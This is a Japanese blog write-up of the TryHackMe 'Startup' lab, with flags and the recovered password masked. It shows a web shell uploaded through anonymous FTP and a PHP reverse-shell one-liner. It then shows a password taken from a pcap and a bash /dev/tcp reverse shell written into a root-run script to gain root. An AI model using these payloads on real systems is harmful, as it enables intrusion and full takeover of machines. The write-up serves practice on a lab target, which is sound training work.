はまやんはまやんはまやん

hamayanhamayan's blog

Startup 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210524151504p:plain

一部を■で隠しています。

第一段階:ユーザーシェル獲得

いつものnmapとgobusterをする。

$ export IP=10.10.116.187
$ nmap -sC -sV $IP
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/files (Status: 301)
http://$IP/index.html (Status: 200)

読み取れるのはftpが動いていてanonymousができるというのと、他はsshとhttpが動いてて、httpは/filesというのがあるということ。
色々試してみよう。

サイトアクセスしてみる

トップページは特に何も無さそうなので/files/へアクセスしてみるとディレクトリリスティングされてくる。
勝手に誰かに置かれたようなファイルもある。ftpという文字もあるので、ftpのanonymousアクセスを試してみよう。

ftp

> ftp $IP
ユーザー ($IP:(none)): anonymous
331 Please specify the password.
パスワード:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
ftp
important.jpg
notice.txt
226 Directory send OK.
ftp: 35 バイトが受信されました 0.00秒 17.50KB/秒。

http側で見たのと全く同じファイル構成が見えますね。
ここ経由で勝手にファイルをアップロードされたみたい。
webshellでも配置すればいいんかな?phpが使えるか分からないのでとりあえずnikto回してみる。
何も出てこない…とりあえずwebshellおいてみるか。

GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
これを持ってきてwebshell.phpとしてftpで置いてみる。

> ftp $IP
ユーザー ($IP:(none)): anonymous
パスワード:
ftp> put webshell.php
200 PORT command successful. Consider using PASV.
553 Could not create file.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
ftp
important.jpg
notice.txt
226 Directory send OK.
ftp: 35 バイトが受信されました 0.00秒 11.67KB/秒。
ftp> cd ftp
250 Directory successfully changed.
ftp> put webshell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp: 2512 バイトが送信されました 0.29秒 8.69KB/秒。

ftpフォルダ以下にしか置けなかったですね。
/files/ftp/webshell.phpにアクセスしてみよう。

f:id:hamayanhamayan:20210524221002p:plain

ok. リバースシェルだ!
いつものように> nc -vnlp 30303で待って、色々試すとphp -r '$sock=fsockopen("[your IP]",30303);exec("/bin/sh -i <&3 >&3 2>&3");'で刺さる。

散策

色々探すと答えの1つ目がとりあえず見つかる。

$ cat /recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ■■■■■.

user.txtを探すが、唯一のユーザーであるlennieのフォルダへは入れない。
$ find / -name "user.txt" 2>/dev/nullとしてみても応答がない。
うーん、どうしようか。

第二段階:lennieでログインする

散策すると怪しいpcapファイルが見つかる。
ちょうど先ほどのftpフォルダを使えばうまく持ってこれる。

$ ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
$ cd incidents
$ ls
suspicious.pcapng
$ cp suspicious.pcapng /var/www/html/files/ftp/x.pcapng

pcapngファイルの解析

色々見て回っていると、とあるTCPストリームにてパスワードらしきものが書いてあるのが見える。

f:id:hamayanhamayan:20210524223233p:plain

lennieのパスワードかな?と思って試すと実際にそう。
suコマンドを使うためにパケットにもあるようにbashに変えてログインしてみるとできる。

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@startup:/incidents$ su - lennie
su - lennie
Password: ■■■■■■■■■■■■■■■■
$ id
id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
$ cd /home/lennie
cd /home/lennie
$ ls -la
ls -la
total 24
drwx------ 4 lennie lennie 4096 May 24 13:29 .
drwxr-xr-x 3 root   root   4096 Nov 12  2020 ..
-rw------- 1 lennie lennie    8 May 24 13:29 .bash_history
drwxr-xr-x 2 lennie lennie 4096 Nov 12  2020 Documents
drwxr-xr-x 2 root   root   4096 Nov 12  2020 scripts
-rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt
$ cat user.txt
cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■■

第三段階:root権限へ

lennieのhomeフォルダに明らかに怪しいscriptsというフォルダがあるので中身を見てみよう。

$ cd scripts
cd scripts
$ ls -la
ls -la
total 16
drwxr-xr-x 2 root   root   4096 Nov 12  2020 .
drwx------ 4 lennie lennie 4096 May 24 13:29 ..
-rwxr-xr-x 1 root   root     77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root   root      1 May 24 13:34 startup_list.txt
$ cat planner.sh
cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
$ cat startup_list.txt
cat startup_list.txt

ほう。rootがオーナーのファイルがありますね…
/etc/print.shを詳しく見てみる。

$ ls -la /etc/print.sh
ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh

ok. よさそう。ここにリバースシェルを仕込む。
色々試すと$ echo 'bash -c "bash -i >& /dev/tcp/[your IP]/30304 0>&1"' > /etc/print.shで刺さる。

root@startup:~# cd /root
cd /root
root@startup:~# ls -la
ls -la
total 28
drwx------  4 root root 4096 Nov 12  2020 .
drwxr-xr-x 25 root root 4096 May 24 12:47 ..
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Nov 12  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   38 Nov 12  2020 root.txt
drwx------  2 root root 4096 Nov 12  2020 .ssh
root@startup:~# cat root.txt
cat root.txt
■■■■■■■■■■■■■■■■■■■■■■■■